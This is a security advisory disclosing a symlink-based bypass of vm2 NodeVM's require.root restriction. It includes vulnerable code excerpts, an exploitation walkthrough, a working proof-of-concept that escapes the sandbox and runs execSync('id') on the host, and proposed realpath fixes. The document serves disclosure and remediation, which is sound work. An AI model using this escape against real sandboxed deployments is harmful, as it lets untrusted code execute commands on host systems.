NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.
High (CVSS 3.1: 8.5)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
lib/resolver-compat.js — CustomResolver.isPathAllowed() (line 53-60)lib/resolver-compat.js — CustomResolver.loadJS() (line 62-66)lib/filesystem.js — DefaultFileSystem.resolve() (line 8-10)The isPathAllowed method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:
// lib/resolver-compat.js:53-60
isPathAllowed(filename) {
return this.rootPaths === undefined || this.rootPaths.some(path => {
if (!filename.startsWith(path)) return false;
const len = path.length;
if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
return this.fs.isSeparator(filename[len]);
});
}
The filename passed to this check is resolved via DefaultFileSystem.resolve(), which uses path.resolve():
// lib/filesystem.js:8-10
resolve(path) {
return pa.resolve(path);
}
path.resolve() normalizes the path (resolves ., .., and makes it absolute) but does NOT dereference symlinks. A symlink at /root/node_modules/safe pointing to /outside/root/malicious resolves to /root/node_modules/safe — passing the prefix check.
However, the actual module loading uses Node's native require(), which does follow symlinks:
// lib/resolver-compat.js:62-66
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename);
mod.exports = vm.readonly(m);
}
A search for realpath, readlink, lstat, or any symlink-aware function across the entire lib/ directory returns zero results. Neither DefaultFileSystem nor VMFileSystem provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;
NodeVM with require: { external: ['safe'], root: '/tmp/root', context: 'host' }/tmp/root/node_modules/safe → /outside/root/vm2/ (e.g., via pnpm, npm link, or workspaces)require('safe')DefaultResolver.resolveFull() resolves to /tmp/root/node_modules/safe/index.jstryFile() calls this.fs.resolve(x) → path.resolve() → /tmp/root/node_modules/safe/index.js (symlink NOT followed)isPathAllowed() checks if path starts with /tmp/root/ → PASSESloadJS() detects context: 'host', calls this.hostRequire(filename)require() follows the symlink, loads from /outside/root/vm2/index.jschild_process)const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');
// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });
// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');
const vm = new NodeVM({
require: {
external: ['safe'],
root,
context: 'host',
builtin: [], // no builtins allowed
},
});
// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
const { NodeVM } = require('safe');
const inner = new NodeVM({ require: { builtin: ['child_process'] } });
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'inner.js'
);
`, path.join(root, 'vm.js'));
console.log(out.trim()); // prints host uid/gid — RCE achieved
require.root entirely: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present.node_modules are symlinks), npm workspaces, and npm link all create the symlink conditions required for exploitation.fs.realpathSync before path validation (Preferred)Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:
// lib/filesystem.js — add a realpath method
const fs = require('fs');
class DefaultFileSystem {
resolve(path) {
return pa.resolve(path);
}
realpath(path) {
return fs.realpathSync(path);
}
// ... rest unchanged
}
// lib/resolver-compat.js — use realpath in isPathAllowed or before calling it
isPathAllowed(filename) {
let realFilename;
try {
realFilename = this.fs.realpath(filename);
} catch (e) {
return false; // file doesn't exist or can't be resolved
}
return this.rootPaths === undefined || this.rootPaths.some(path => {
if (!realFilename.startsWith(path)) return false;
const len = path.length;
if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
return this.fs.isSeparator(realFilename[len]);
});
}
Also dereference root paths at construction time:
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {
const resolved = fsOpt.resolve(f);
try { return fs.realpathSync(resolved); } catch (e) { return resolved; }
}) : undefined;
Tradeoff: realpathSync adds a syscall per path check. Cache results to minimize overhead.
makeExtensionHandler / checkAccessAdd a realpath check at the enforcement point in Resolver.makeExtensionHandler:
makeExtensionHandler(vm, name) {
return (mod, filename) => {
filename = this.fs.resolve(filename);
// Dereference symlinks before access check
try {
const realFilename = fs.realpathSync(filename);
if (realFilename !== filename) {
// Filename was a symlink — validate the real path too
this.checkAccess(mod, realFilename);
}
} catch (e) {
throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');
}
this.checkAccess(mod, filename);
this[name](vm, mod, filename);
};
}
Tradeoff: Fixes it at a higher layer but doesn't protect custom resolvers that bypass makeExtensionHandler.
This vulnerability was discovered and reported by bugbunny.ai.
{
"severity": "HIGH",
"nvd_published_at": "2026-05-13T18:16:16Z",
"github_reviewed_at": "2026-05-07T04:33:37Z",
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true
}